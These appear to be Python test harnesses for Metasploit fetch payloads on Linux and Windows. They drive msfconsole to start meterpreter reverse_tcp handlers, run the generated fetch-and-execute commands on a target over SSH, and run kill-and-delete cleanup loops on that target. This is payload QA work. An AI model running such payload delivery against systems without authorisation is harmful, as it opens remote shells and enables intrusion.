ANSI = re.compile(r'\x1b\[[0-9;]*m')

_LPORT_START = 4441

PROTOCOL = {
    'name': 'TFTP',
    'payload': 'payload/cmd/linux/tftp/x64/meterpreter/reverse_tcp',
    'fetch_commands': ['TFTP', 'CURL'],
    'fetch_srvport': 69,
    'proto_opts': [
        "set FETCH_SRVONCE false",
        "set FETCH_WRITABLE_DIR ''",
    ],
}


def log(msg):
    with _log_lock:
        if _log_fh:
            _log_fh.write(msg + '\n')
            _log_fh.flush()


def _safe(s):
    return s.replace('.', '_').replace('+', 'p').replace('-', '_')


def build_tests():
    tests = []
    lport = _LPORT_START
    for fetch_cmd in PROTOCOL['fetch_commands']:
        for fileless in FILELESS_VALUES:
            uri = f"tftp_{fetch_cmd.lower()}_{_safe(fileless)}_pf"
            per_test_opts = [
                f"set FETCH_COMMAND {fetch_cmd}",
                f"set FETCH_FILELESS {fileless}",
                "set FETCH_PIPE false",
                "set FETCH_FILENAME ''",
            ]
            extra_opts = [f"set FETCH_FILELESS {fileless}"]
            extra_opts.extend(PROTOCOL['proto_opts'])
            extra_opts.append("set FETCH_PIPE false")
            tests.append({
                'name':          f"TFTP/{fetch_cmd}/{fileless}/pipe=false",
                'proto':         'TFTP',
                'fetch_command': fetch_cmd,
                'fileless':      fileless,
                'pipe':          False,
                'payload':       PROTOCOL['payload'],
                'fetch_srvport': PROTOCOL['fetch_srvport'],
                'lport':         lport,
                'fetch_uripath': uri,
                'extra_opts':    extra_opts,
                'per_test_opts': per_test_opts,
            })
            lport += 1
    return tests


TESTS = build_tests()


def _proto_log_path():
    return '/tmp/msf_fetch_linux_tftp_x64.log'


def read_log(log_file):
    try:
        return ANSI.sub('', open(log_file).read())
    except FileNotFoundError:
        return ''


def write_proto_rc(tests):
    lines = [
        f"use {PROTOCOL['payload']}",
        f"set lhost {LHOST}",
        "set verbose true",
    ]
    for opt in PROTOCOL['proto_opts']:
        lines.append(opt)

    for t in tests:
        lines.append("")
        lines.append(f"set fetch_srvport {t['fetch_srvport']}")
        lines.append(f"set lport {t['lport']}")
        lines.append(f"set fetch_uripath {t['fetch_uripath']}")
        for opt in t['per_test_opts']:
            lines.append(opt)
        lines.append("to_handler")

    lines += ["", "sleep 240", "sessions -l", "sessions -C 'load stdapi'", "sleep 90", "sessions -C sysinfo", "sleep 60", "sessions -C sysinfo"]

    rc = tempfile.NamedTemporaryFile(
        mode='w', suffix='.rc', delete=False, prefix='msf_linux_tftp_x64_'
    )
    rc.write('\n'.join(lines) + '\n')
    rc.close()
    return rc.name


def run_msf(rc_file, log_file):
    return subprocess.Popen(
        ['bundle', 'exec', 'msfconsole', '-q', '-r', rc_file],
        stdin=subprocess.DEVNULL,
        stdout=open(log_file, 'w'),
        stderr=subprocess.STDOUT,
        cwd=MSF_PATH,
    )


def wait_for_n_handlers(log_file, n, timeout=180):
    start = time.time()
    while time.time() - start < timeout:
        content = read_log(log_file)
        if content.count('Started reverse TCP handler') >= n:
            return content
        if 'Exploit failed [bad-config]' in content or 'failed to bind' in content:
            return content
        time.sleep(2)
    return None


def parse_n_target_commands(log_content, n):
    matches = re.findall(r'Command to execute on target: (.+)', log_content)
    return [m.strip() for m in matches[:n]]


def ssh_run(command):
    with _ssh_sem:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(
            TARGET_HOST, username=TARGET_USER, password=TARGET_PASS,
            timeout=10, allow_agent=False, look_for_keys=False,
        )
        _, stdout, stderr = client.exec_command(command)
        stdout.channel.settimeout(5)
        try:
            out = stdout.read().decode().strip()
        except Exception:
            out = ''
        try:
            err = stderr.read().decode().strip()
        except Exception:
            err = ''
        client.close()
    return out, err


def wait_for_sessions(log_file, lports, timeout=300):
    wanted  = set(lports)
    found   = {}
    sysinfo = {}
    start = time.time()
    while time.time() - start < timeout:
        content = read_log(log_file)
        for m in re.finditer(
            r'(Meterpreter session \d+ opened \(([^)]+)\) at .+)', content
        ):
            session_str = m.group(1)
            conn = m.group(2)
            lp_match = re.search(r':(\d+) ->', conn)
            if lp_match:
                lp = int(lp_match.group(1))
                if lp in wanted and lp not in found:
                    found[lp] = session_str
        for m in re.finditer(
            r'meterpreter\s+\S+.*?(\d+\.\d+\.\d+\.\d+):(\d+) -> (\d+\.\d+\.\d+\.\d+):(\d+)',
            content
        ):
            lp = int(m.group(2))
            if lp in wanted and lp not in found:
                found[lp] = f"session via sessions-l ({m.group(1)}:{lp} -> {m.group(3)}:{m.group(4)})"
        sid_to_lport = {}
        for m in re.finditer(
            r'^\s+(\d+)\s+meterpreter.*?(\d+\.\d+\.\d+\.\d+):(\d+)\s*->',
            content, re.MULTILINE
        ):
            sid = int(m.group(1))
            lp  = int(m.group(3))
            if lp in wanted:
                sid_to_lport[sid] = lp
        for m in re.finditer(
            r"Running 'sysinfo' on meterpreter session (\d+)[^\n]*\nComputer\s*:\s*(.+)",
            content
        ):
            sid = int(m.group(1))
            if sid in sid_to_lport:
                lp = sid_to_lport[sid]
                if lp not in sysinfo:
                    sysinfo[lp] = m.group(2).strip()
        if len(found) == len(wanted) and len(sysinfo) == len(wanted):
            break
        time.sleep(2)
    return found, sysinfo


def kill_lingering(port):
    result = subprocess.run(
        ['ss', '-tlnp', f'sport = :{port}'],
        capture_output=True, text=True,
    )
    for pid_match in re.finditer(r'pid=(\d+)', result.stdout):
        pid = int(pid_match.group(1))
        try:
            os.kill(pid, 9)
            log(f"  killed pid {pid} on port {port}")
        except ProcessLookupError:
            pass


def cleanup_target():
    log("[CLEANUP] Killing lingering test processes and removing stale binaries on target...")
    try:
        ssh_run(
            f"for pid in $(ss -tnap dst {LHOST} 2>/dev/null "
            f"| grep -oP 'pid=\\K[0-9]+' | sort -u); do kill -9 $pid 2>/dev/null; done; "
            "for pid in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$'); do "
            "  readlink /proc/$pid/exe 2>/dev/null | grep -qE '(memfd|/tftp_)' && kill -9 $pid 2>/dev/null; "
            "done"
        )
        time.sleep(5)
        out, _ = ssh_run(
            f"for pid in $(ss -tnap dst {LHOST} 2>/dev/null "
            f"| grep -oP 'pid=\\K[0-9]+' | sort -u); do kill -9 $pid 2>/dev/null; done; "
            "for pid in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$'); do "
            "  readlink /proc/$pid/exe 2>/dev/null | grep -qE '(memfd|/tftp_)' && kill -9 $pid 2>/dev/null; "
            "done; "
            "sleep 1; "
            "rm -f ./tftp_* 2>/dev/null; "
            "echo done"
        )
        log(f"[CLEANUP] {out or 'ok'}")
    except Exception as exc:
        log(f"[CLEANUP] Warning: {exc}")


def run_tests():
    tests = TESTS
    n = len(tests)
    log_file = _proto_log_path()

    results = {t['lport']: {
        'test': t, 'passed': False, 'session': None,
        'sysinfo': None, 'target_cmd': None, 'error': None,
    } for t in tests}

    log(f"[TFTP] Starting {n} tests")

    for t in tests:
        kill_lingering(t['lport'])
    kill_lingering(PROTOCOL['fetch_srvport'])

    rc_file = write_proto_rc(tests)
    proc = run_msf(rc_file, log_file)

    content = wait_for_n_handlers(log_file, n, timeout=180)
    if content is None:
        for t in tests:
            results[t['lport']]['error'] = 'Handlers did not all start within timeout'
        proc.terminate()
        return list(results.values())

    if 'Exploit failed' in content or 'failed to bind' in content:
        for t in tests:
            results[t['lport']]['error'] = 'Handler setup failed (check port 69 privileges)'
        proc.terminate()
        return list(results.values())

    cmds = parse_n_target_commands(content, n)
    if len(cmds) < n:
        for t in tests:
            results[t['lport']]['error'] = f"Only got {len(cmds)}/{n} target commands"
        proc.terminate()
        return list(results.values())

    for t, cmd in zip(tests, cmds):
        results[t['lport']]['target_cmd'] = cmd
        log(f"[CMD] {t['name']}: {cmd}")

    def _ssh(pair):
        t, cmd = pair
        try:
            ssh_run(cmd)
            return t, None
        except Exception as exc:
            return t, str(exc)

    with concurrent.futures.ThreadPoolExecutor(max_workers=n) as ex:
        for future in concurrent.futures.as_completed(
            ex.submit(_ssh, (t, results[t['lport']]['target_cmd'])) for t in tests
        ):
            t, err = future.result()
            if err:
                results[t['lport']]['error'] = f"SSH error: {err}"
                log(f"[SSH-ERR] {t['name']}: {err}")

    lports = [t['lport'] for t in tests]
    sessions, sysinfo = wait_for_sessions(log_file, lports, timeout=480)

    proc.terminate()
    try:
        proc.wait(timeout=10)
    except subprocess.TimeoutExpired:
        proc.kill()

    for t in tests:
        lp = t['lport']
        if lp in sessions and lp in sysinfo:
            results[lp]['passed'] = True
            results[lp]['session'] = sessions[lp]
            results[lp]['sysinfo'] = sysinfo[lp]
            print(f"[PASS] {t['name']}: {sessions[lp]}")
        elif lp in sessions:
            results[lp]['session'] = sessions[lp]
            results[lp]['error'] = 'Session opened but sysinfo failed'
            print(f"[FAIL] {t['name']}: Session opened but sysinfo failed")
        elif results[lp]['error'] is None:
            results[lp]['error'] = 'No Meterpreter session within timeout'
            print(f"[FAIL] {t['name']}: No session within timeout")

    return list(results.values())


def print_summary(results):
    print(f"\n{'='*60}")
    print("TFTP RESULTS SUMMARY")
    print(f"{'='*60}\n")

    col_w = max(len(f) for f in FILELESS_VALUES) + 2
    cmd_w = max(len(c) for c in PROTOCOL['fetch_commands']) + 6
    print(f"  {'FETCH_COMMAND':<{cmd_w}}" + ''.join(f"{f:^{col_w}}" for f in FILELESS_VALUES))
    print(f"  {'-'*cmd_w}" + '-' * (col_w * len(FILELESS_VALUES)))
    by_key = {
        (r['test']['fetch_command'], r['test']['fileless']): r for r in results
    }
    for fetch_cmd in PROTOCOL['fetch_commands']:
        row = f"  {fetch_cmd:<{cmd_w}}"
        for fl in FILELESS_VALUES:
            r = by_key.get((fetch_cmd, fl))
            cell = 'PASS' if (r and r['passed']) else ('FAIL' if r else 'N/A ')
            row += f"{cell:^{col_w}}"
        print(row)
    print()

    for r in results:
        t = r['test']
        status = 'PASS' if r['passed'] else 'FAIL'
        print(f"  [{status}] {t['name']}")
        print(f"    Payload       : {t['payload']}")
        print(f"    LHOST         : {LHOST}   LPORT: {t['lport']}")
        print(f"    FETCH_COMMAND : {t['fetch_command']}   FETCH_SRVPORT: {t['fetch_srvport']}")
        print(f"    FETCH_FILELESS: {t['fileless']}")
        print(f"    FETCH_URIPATH : {t['fetch_uripath']}")
        if r['target_cmd']:
            print(f"    Target cmd    : {r['target_cmd']}")
        if r['session']:
            print(f"    Session       : {r['session']}")
        if r['sysinfo']:
            print(f"    Sysinfo       : {r['sysinfo']}")
        if r['error']:
            print(f"    Error         : {r['error']}")
        print()

    passed = sum(r['passed'] for r in results)
    print(f"Overall: {passed}/{len(results)} passed")
    return 0 if passed == len(results) else 1


def main():
    global LHOST, MSF_PATH, TARGET_HOST, TARGET_USER, TARGET_PASS, _log_fh

    parser = argparse.ArgumentParser(
        description='Test MSF Linux fetch TFTP payload (requires root or port-69 capability)'
    )
    parser.add_argument('--lhost', required=True,
                        help='MSF listening host (IP address reachable from target)')
    parser.add_argument('--msf-path', default='/home/tmoose/git/metasploit-framework',
                        help='Path to metasploit-framework checkout')
    parser.add_argument('--target-host', default=None,
                        help='SSH target host')
    parser.add_argument('--target-user', default=None,
                        help='SSH target username')
    parser.add_argument('--target-pass', default=None,
                        help='SSH target password (prompted if omitted)')
    args = parser.parse_args()

    LHOST       = args.lhost
    MSF_PATH    = args.msf_path
    TARGET_HOST = args.target_host or input('Target host: ').strip()
    TARGET_USER = args.target_user or input('Target user: ').strip()
    TARGET_PASS = args.target_pass or getpass.getpass('Target password: ')

    log_file = f'/tmp/fetch_linux_tftp_x64_{TARGET_HOST.replace(".", "_")}.log'
    _log_fh = open(log_file, 'w')
    print(f"Logging verbose output to {log_file}")
    print(f"NOTE: TFTP server requires binding to port 69 (UDP) — ensure root or cap_net_bind_service")
    try:
        cleanup_target()
        results = run_tests()
        return print_summary(results)
    finally:
        _log_fh.close()


if __name__ == '__main__':
    sys.exit(main())

Linux Fetch Multi

#!/usr/bin/env python3
"""
Test MSF Linux fetch multi (multi-arch HTTP/HTTPS) payload.
Tests FETCH_COMMAND × FETCH_FILELESS × FETCH_PIPE variants.
"""

import argparse
import concurrent.futures
import getpass
import random
import os
import paramiko
import re
import shlex
import subprocess
import sys
import tempfile
import threading
import time

_log_lock = threading.Lock()
_log_fh   = None
_ssh_sem  = threading.Semaphore(8)  # cap concurrent SSH connections below MaxStartups


def log(msg):
    with _log_lock:
        if _log_fh:
            _log_fh.write(msg + '\n')
            _log_fh.flush()


LHOST    = None
MSF_PATH = None

FILELESS_VALUES = ['none', 'python3.8+']  # 'shell' unsupported: requires arch-specific shellcode but multi uses ARCH_ANY
PIPE_VALUES     = [False, True]
PIPE_COMMANDS   = {'CURL', 'WGET'}

# Per-protocol config. srv_offset: fetch server ports start at base_port + srv_offset.
# Instances must be spaced >= 60 ports apart to avoid overlap.
PROTOCOLS = [
    {
        'name':           'HTTP',
        'payload':        'payload/cmd/linux/http/multi/meterpreter_reverse_tcp',
        'fetch_commands': ['CURL', 'WGET'],  # TNFTP omitted: no ?arch= query string support
        'pipe_supported': True,
        'proto_opts':     [],
        'srv_offset':     20,
    },
    {
        'name':           'HTTPS',
        'payload':        'payload/cmd/linux/https/multi/meterpreter_reverse_tcp',
        'fetch_commands': ['CURL', 'WGET'],  # TNFTP omitted: no ?arch= query string support
        'pipe_supported': True,
        'proto_opts':     ['set FETCH_CHECK_CERT false'],
        'srv_offset':     40,
    },
]

# Globals set in main() before any test logic runs
TARGET_HOST = None
TARGET_USER = None
TARGET_PASS = None
_BASE_PORT  = None
LOG_FILE    = None
TESTS       = None
TESTS_BY_PROTO = None


def _safe(s):
    return s.replace('.', '_').replace('+', 'p').replace('-', '_')


def build_tests(base_port):
    tests = []
    lport   = base_port
    srvport = {p['name']: base_port + p['srv_offset'] for p in PROTOCOLS}

    for proto in PROTOCOLS:
        for fetch_cmd in proto['fetch_commands']:
            pipe_values = PIPE_VALUES if (fetch_cmd in PIPE_COMMANDS and proto['pipe_supported']) else [False]
            for fileless in FILELESS_VALUES:
                for pipe in pipe_values:
                    test_lport   = lport
                    lport       += 1
                    test_srvport = srvport[proto['name']]
                    srvport[proto['name']] += 1

                    pipe_suffix = 'pt' if pipe else 'pf'
                    uri = f"{proto['name'].lower()}_{fetch_cmd.lower()}_{_safe(fileless)}_{pipe_suffix}"

                    per_test_opts = [
                        f"set FETCH_COMMAND {fetch_cmd}",
                        f"set FETCH_FILELESS {fileless}",
                        f"set FETCH_PIPE {'true' if pipe else 'false'}",
                    ]
                    if fileless == 'none' and not pipe:
                        per_test_opts.append(f"set FETCH_FILENAME {uri}")
                    else:
                        per_test_opts.append("set FETCH_FILENAME ''")

                    extra_opts = [f"set FETCH_FILELESS {fileless}"]
                    extra_opts.extend(proto['proto_opts'])
                    extra_opts.append(f"set FETCH_PIPE {'true' if pipe else 'false'}")
                    if fileless == 'none' and not pipe:
                        extra_opts.append(f"set FETCH_FILENAME {uri}")

                    tests.append({
                        'name':          f"{proto['name']}/{fetch_cmd}/{fileless}/pipe={'true' if pipe else 'false'}",
                        'proto':         proto['name'],
                        'fetch_command': fetch_cmd,
                        'fileless':      fileless,
                        'pipe':          pipe,
                        'payload':       proto['payload'],
                        'fetch_srvport': test_srvport,
                        'lport':         test_lport,
                        'fetch_uripath': uri,
                        'extra_opts':    extra_opts,
                        'per_test_opts': per_test_opts,
                    })
    return tests


ANSI = re.compile(r'\x1b\[[0-9;]*m')


def _proto_log_path(proto_name):
    return f"/tmp/msf_fetch_multi_{proto_name.lower()}_{_BASE_PORT}.log"


def read_log(log_file):
    try:
        return ANSI.sub('', open(log_file).read())
    except FileNotFoundError:
        return ''


def write_proto_rc(proto_name, tests):
    p = next(pr for pr in PROTOCOLS if pr['name'] == proto_name)
    lines = [
        f"use {p['payload']}",
        f"set lhost {LHOST}",
        "set verbose true",
    ]
    for opt in p['proto_opts']:
        lines.append(opt)

    for t in tests:
        lines.append("")
        lines.append(f"set fetch_srvport {t['fetch_srvport']}")
        lines.append(f"set lport {t['lport']}")
        lines.append(f"set fetch_uripath {t['fetch_uripath']}")
        for opt in t['per_test_opts']:
            lines.append(opt)
        lines.append("to_handler")

    lines += ["", "sleep 240", "sessions -l", "sessions -C 'load stdapi'", "sleep 90", "sessions -C sysinfo", "sleep 60", "sessions -C sysinfo"]

    slug = proto_name.lower()
    rc = tempfile.NamedTemporaryFile(
        mode='w', suffix='.rc', delete=False, prefix=f"msf_multi_{slug}_"
    )
    rc.write('\n'.join(lines) + '\n')
    rc.close()
    return rc.name


def run_msf(rc_file, log_file):
    return subprocess.Popen(
        ['bundle', 'exec', 'msfconsole', '-q', '-r', rc_file],
        stdin=subprocess.DEVNULL,
        stdout=open(log_file, 'w'),
        stderr=subprocess.STDOUT,
        cwd=MSF_PATH,
    )


def wait_for_n_handlers(log_file, n, timeout=180):
    start = time.time()
    while time.time() - start < timeout:
        content = read_log(log_file)
        if content.count('Started reverse TCP handler') >= n:
            return content
        if 'Exploit failed' in content or 'failed to bind' in content:
            return content
        time.sleep(2)
    return None


def parse_n_target_commands(log_content, n):
    matches = re.findall(r'Command to execute on target: (.+)', log_content)
    return [m.strip() for m in matches[:n]]


def ssh_run(command):
    with _ssh_sem:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(
            TARGET_HOST, username=TARGET_USER, password=TARGET_PASS,
            timeout=10, allow_agent=False, look_for_keys=False,
        )
        _, stdout, stderr = client.exec_command('sh -c ' + shlex.quote(command))
        stdout.channel.settimeout(5)
        try:
            out = stdout.read().decode().strip()
        except Exception:
            out = ''
        try:
            err = stderr.read().decode().strip()
        except Exception:
            err = ''
        client.close()
    return out, err


def wait_for_sessions(log_file, lports, timeout=300):
    wanted = set(lports)
    found  = {}
    start  = time.time()
    while time.time() - start < timeout:
        content = read_log(log_file)
        for m in re.finditer(
            r'(Meterpreter session \d+ opened \(([^)]+)\) at .+)', content
        ):
            session_str = m.group(1)
            conn = m.group(2)
            lp_match = re.search(r':(\d+) ->', conn)
            if lp_match:
                lp = int(lp_match.group(1))
                if lp in wanted and lp not in found:
                    found[lp] = session_str
        for m in re.finditer(
            r'meterpreter\s+\S+.*?(\d+\.\d+\.\d+\.\d+):(\d+) -> (\d+\.\d+\.\d+\.\d+):(\d+)',
            content
        ):
            lp = int(m.group(2))
            if lp in wanted and lp not in found:
                found[lp] = f"session via sessions-l ({m.group(1)}:{lp} -> {m.group(3)}:{m.group(4)})"
        if len(found) == len(wanted):
            break
        time.sleep(2)
    return found


def kill_lingering(port):
    result = subprocess.run(
        ['ss', '-tlnp', f'sport = :{port}'],
        capture_output=True, text=True,
    )
    for pid_match in re.finditer(r'pid=(\d+)', result.stdout):
        pid = int(pid_match.group(1))
        try:
            os.kill(pid, 9)
            log(f"  killed pid {pid} on port {port}")
        except ProcessLookupError:
            pass


def cleanup_target():
    log("[CLEANUP] Killing lingering test processes and removing stale binaries on target...")
    try:
        ssh_run(
            f"for pid in $(ss -tnap dst {LHOST} 2>/dev/null "
            f"| grep -oP 'pid=\\K[0-9]+' | sort -u); do kill -9 $pid 2>/dev/null; done; "
            "for pid in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$'); do "
            "  readlink /proc/$pid/exe 2>/dev/null | grep -qE '(memfd|/http_|/https_)' && kill -9 $pid 2>/dev/null; "
            "done"
        )
        time.sleep(5)
        out, err = ssh_run(
            f"for pid in $(ss -tnap dst {LHOST} 2>/dev/null "
            f"| grep -oP 'pid=\\K[0-9]+' | sort -u); do kill -9 $pid 2>/dev/null; done; "
            "for pid in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$'); do "
            "  readlink /proc/$pid/exe 2>/dev/null | grep -qE '(memfd|/http_|/https_)' && kill -9 $pid 2>/dev/null; "
            "done; "
            "sleep 1; "
            "rm -f ./http_* ./https_* 2>/dev/null; "
            "echo done"
        )
        log(f"[CLEANUP] {out or 'ok'}")
    except Exception as exc:
        log(f"[CLEANUP] Warning: {exc}")


def run_proto_group(proto_name):
    tests = TESTS_BY_PROTO[proto_name]
    n = len(tests)
    log_file = _proto_log_path(proto_name)

    results = {t['lport']: {
        'test': t, 'passed': False, 'session': None,
        'target_cmd': None, 'error': None,
    } for t in tests}

    log(f"[{proto_name}] Starting {n} tests")

    for t in tests:
        kill_lingering(t['lport'])
        kill_lingering(t['fetch_srvport'])

    rc_file = write_proto_rc(proto_name, tests)
    proc = run_msf(rc_file, log_file)

    content = wait_for_n_handlers(log_file, n, timeout=180)
    if content is None:
        for t in tests:
            results[t['lport']]['error'] = 'Handlers did not all start within timeout'
        proc.terminate()
        return list(results.values())

    if 'Exploit failed' in content or 'failed to bind' in content:
        for t in tests:
            results[t['lport']]['error'] = 'Handler setup failed'
        proc.terminate()
        return list(results.values())

    cmds = parse_n_target_commands(content, n)
    if len(cmds) < n:
        for t in tests:
            results[t['lport']]['error'] = f"Only got {len(cmds)}/{n} target commands"
        proc.terminate()
        return list(results.values())

    for t, cmd in zip(tests, cmds):
        results[t['lport']]['target_cmd'] = cmd
        log(f"[CMD] {t['name']}: {cmd}")

    def _ssh(pair):
        t, cmd = pair
        try:
            ssh_run(cmd)
            return t, None
        except Exception as exc:
            return t, str(exc)

    with concurrent.futures.ThreadPoolExecutor(max_workers=n) as ex:
        for future in concurrent.futures.as_completed(
            ex.submit(_ssh, (t, results[t['lport']]['target_cmd'])) for t in tests
        ):
            t, err = future.result()
            if err:
                results[t['lport']]['error'] = f"SSH error: {err}"
                log(f"[SSH-ERR] {t['name']}: {err}")

    lports = [t['lport'] for t in tests]
    sessions = wait_for_sessions(log_file, lports, timeout=480)

    proc.terminate()
    try:
        proc.wait(timeout=10)
    except subprocess.TimeoutExpired:
        proc.kill()

    for t in tests:
        lp = t['lport']
        if lp in sessions:
            results[lp]['passed'] = True
            results[lp]['session'] = sessions[lp]
            print(f"[PASS] {t['name']}: {sessions[lp]}")
        elif results[lp]['error'] is None:
            results[lp]['error'] = 'No Meterpreter session within timeout'
            print(f"[FAIL] {t['name']}: No session within timeout")

    return list(results.values())


def _matrix(results, pipe_val):
    subset = [r for r in results if r['test']['pipe'] == pipe_val]
    if not subset:
        return
    row_keys = list(dict.fromkeys(
        (r['test']['proto'], r['test']['fetch_command']) for r in subset
    ))
    col_w = max(len(f) for f in FILELESS_VALUES) + 2
    row_label_w = max(len(f"{p}/{c}") for p, c in row_keys) + 2
    label = 'true' if pipe_val else 'false'
    print(f"  FETCH_PIPE = {label}")
    print(f"  {'':<{row_label_w}}" + ''.join(f"{f:^{col_w}}" for f in FILELESS_VALUES))
    print(f"  {'-'*row_label_w}" + '-' * (col_w * len(FILELESS_VALUES)))
    by_key = {
        (r['test']['proto'], r['test']['fetch_command'], r['test']['fileless']): r
        for r in subset
    }
    for proto, fetch_cmd in row_keys:
        row_label = f"{proto}/{fetch_cmd}"
        row = f"  {row_label:<{row_label_w}}"
        for fl in FILELESS_VALUES:
            r = by_key.get((proto, fetch_cmd, fl))
            cell = 'PASS' if (r and r['passed']) else ('FAIL' if r else 'N/A ')
            row += f"{cell:^{col_w}}"
        print(row)
    print()


def print_summary(results):
    print(f"\n{'='*60}")
    print("RESULTS SUMMARY")
    print(f"{'='*60}\n")

    for pipe_val in PIPE_VALUES:
        _matrix(results, pipe_val)

    for r in results:
        t = r['test']
        status = 'PASS' if r['passed'] else 'FAIL'
        print(f"  [{status}] {t['name']}")
        print(f"    Payload       : {t['payload']}")
        print(f"    LHOST         : {LHOST}   LPORT: {t['lport']}")
        print(f"    FETCH_COMMAND : {t['fetch_command']}   FETCH_SRVPORT: {t['fetch_srvport']}")
        print(f"    FETCH_FILELESS: {t['fileless']}")
        print(f"    FETCH_PIPE    : {'true' if t['pipe'] else 'false'}")
        print(f"    FETCH_URIPATH : {t['fetch_uripath']}")
        skip = {'FETCH_FILELESS', 'FETCH_PIPE', 'FETCH_COMMAND'}
        for opt in t['extra_opts']:
            key, _, val = opt.replace('set ', '', 1).partition(' ')
            if key in skip:
                continue
            print(f"    {key:<14}: {val}")
        if r['target_cmd']:
            print(f"    Target cmd    : {r['target_cmd']}")
        if r['session']:
            print(f"    Session       : {r['session']}")
        if r['error']:
            print(f"    Error         : {r['error']}")
        print()

    passed = sum(r['passed'] for r in results)
    print(f"Overall: {passed}/{len(results)} passed")
    return 0 if passed == len(results) else 1


def main():
    global LHOST, MSF_PATH, TARGET_HOST, TARGET_USER, TARGET_PASS, _BASE_PORT, LOG_FILE, TESTS, TESTS_BY_PROTO

    parser = argparse.ArgumentParser(description='Test MSF fetch multi payloads')
    parser.add_argument('--lhost', required=True,
                        help='MSF listening host (IP address reachable from target)')
    parser.add_argument('--msf-path', default='/home/tmoose/git/metasploit-framework',
                        help='Path to metasploit-framework checkout')
    parser.add_argument('--target-host', default=None,
                        help='SSH target host')
    parser.add_argument('--target-user', default=None,
                        help='SSH target username')
    parser.add_argument('--target-pass', default=None,
                        help='SSH target password (prompted if omitted)')
    parser.add_argument('--port-base', type=int, default=random.randint(10000, 60000),
                        help='Base port for this run (default: random in 10000-60000). '
                             'Space concurrent instances at least 60 ports apart.')
    args = parser.parse_args()

    LHOST    = args.lhost
    MSF_PATH = args.msf_path
    TARGET_HOST = args.target_host or input('Target host: ').strip()
    TARGET_USER = args.target_user or input('Target user: ').strip()
    TARGET_PASS = args.target_pass or getpass.getpass('Target password: ')

    _BASE_PORT = args.port_base
    LOG_FILE   = f'/tmp/fetch_multi_test_{_BASE_PORT}.log'
    TESTS      = build_tests(_BASE_PORT)
    TESTS_BY_PROTO = {}
    for t in TESTS:
        TESTS_BY_PROTO.setdefault(t['proto'], []).append(t)

    global _log_fh
    _log_fh = open(LOG_FILE, 'w')
    print(f"Logging verbose output to {LOG_FILE}")
    try:
        cleanup_target()
        order = {t['name']: i for i, t in enumerate(TESTS)}
        proto_names = list(TESTS_BY_PROTO.keys())

        with concurrent.futures.ThreadPoolExecutor(max_workers=len(proto_names)) as executor:
            futures = {executor.submit(run_proto_group, name): name for name in proto_names}
            all_results = []
            for f in concurrent.futures.as_completed(futures):
                all_results.extend(f.result())

        all_results.sort(key=lambda r: order[r['test']['name']])
        return print_summary(all_results)
    finally:
        _log_fh.close()


if __name__ == '__main__':
    sys.exit(main())

Windows HTTP

#!/usr/bin/env python3
"""
Test MSF Windows fetch payloads (x64 and x86).
Tests FETCH_COMMAND x FETCH_PIPE variants across all protocols and architectures.
"""

import argparse
import base64
import concurrent.futures
import getpass
import os
import paramiko
import re
import random
import subprocess
import sys
import tempfile
import threading
import time

_log_lock = threading.Lock()
_log_fh   = None


def log(msg):
    with _log_lock:
        if _log_fh:
            _log_fh.write(msg + '\n')
            _log_fh.flush()


LHOST       = None
MSF_PATH    = None
TARGET_HOST = None
TARGET_USER = None
TARGET_PASS = None

PIPE_COMMANDS = {'CURL'}  # Only CURL supports FETCH_PIPE on Windows

# Per-protocol config. srv_offset: fetch server ports start at base_port + srv_offset.
# Instances must be spaced >= 65 ports apart to avoid overlap.
PROTOCOLS = [
    {
        'name':           'HTTP',
        'payload':        'payload/cmd/windows/http/x64/meterpreter_reverse_tcp',
        'fetch_commands': ['CERTUTIL', 'CURL'],
        'pipe_supported': True,
        'proto_opts':     [],
        'srv_offset':     20,
    },
    {
        'name':           'HTTPS',
        'payload':        'payload/cmd/windows/https/x64/meterpreter_reverse_tcp',
        'fetch_commands': ['CURL'],       # CERTUTIL cannot disable cert verification
        'pipe_supported': True,
        'proto_opts':     ['set FETCH_CHECK_CERT false'],
        'srv_offset':     40,
    },
    {
        'name':           'FTP',
        'payload':        'payload/cmd/windows/ftp/x64/meterpreter_reverse_tcp',
        'fetch_commands': ['FTP'],
        'pipe_supported': False,          # FTP not in pipe_supported_binaries
        'proto_opts':     [],
        'srv_offset':     60,
        'fixed_srvport':  21,             # Windows ftp.exe only connects to port 21
    },
    {
        'name':           'TFTP',
        'payload':        'payload/cmd/windows/tftp/x64/meterpreter_reverse_tcp',
        'fetch_commands': ['TFTP'],
        'pipe_supported': False,
        'proto_opts':     [],
        'srv_offset':     80,
        'fixed_srvport':  69,             # Windows tftp.exe only connects to port 69 (UDP)
        'srv_udp':        True,           # TFTP server uses UDP, not TCP
    },
    {
        'name':              'SMB',
        'payload':           'payload/cmd/windows/smb/x64/meterpreter_reverse_tcp',
        'fetch_commands':    ['SMB'],
        'pipe_supported':    False,
        'proto_opts':        [],
        'srv_offset':        100,
        'fixed_srvport':     445,         # SMB always uses 445; FETCH_SRVPORT is deregistered
        'no_srvport_opt':        True,     # SMB deregisters FETCH_SRVPORT
        'no_fetch_command_opt': True,     # SMB deregisters FETCH_COMMAND
        'no_fetch_pipe_opt':    True,     # SMB deregisters FETCH_PIPE
        'filename_ext':         '.dll',   # SMB serves a DLL executed via rundll32
    },
    {
        'name':           'HTTP/x86',
        'payload':        'payload/cmd/windows/http/x86/meterpreter_reverse_tcp',
        'fetch_commands': ['CERTUTIL', 'CURL'],
        'pipe_supported': True,
        'proto_opts':     [],
        'srv_offset':     120,
    },
    {
        'name':           'HTTPS/x86',
        'payload':        'payload/cmd/windows/https/x86/meterpreter_reverse_tcp',
        'fetch_commands': ['CURL'],
        'pipe_supported': True,
        'proto_opts':     ['set FETCH_CHECK_CERT false'],
        'srv_offset':     140,
    },
    {
        'name':           'FTP/x86',
        'payload':        'payload/cmd/windows/ftp/x86/meterpreter_reverse_tcp',
        'fetch_commands': ['FTP'],
        'pipe_supported': False,
        'proto_opts':     [],
        'srv_offset':     160,
        'fixed_srvport':  21,
    },
]

# Globals set in main() before any test logic runs
_BASE_PORT     = None
LOG_FILE       = None
TESTS          = None
TESTS_BY_PROTO = None


def build_tests(base_port):
    tests = []
    lport   = base_port
    srvport = {p['name']: base_port + p['srv_offset'] for p in PROTOCOLS}

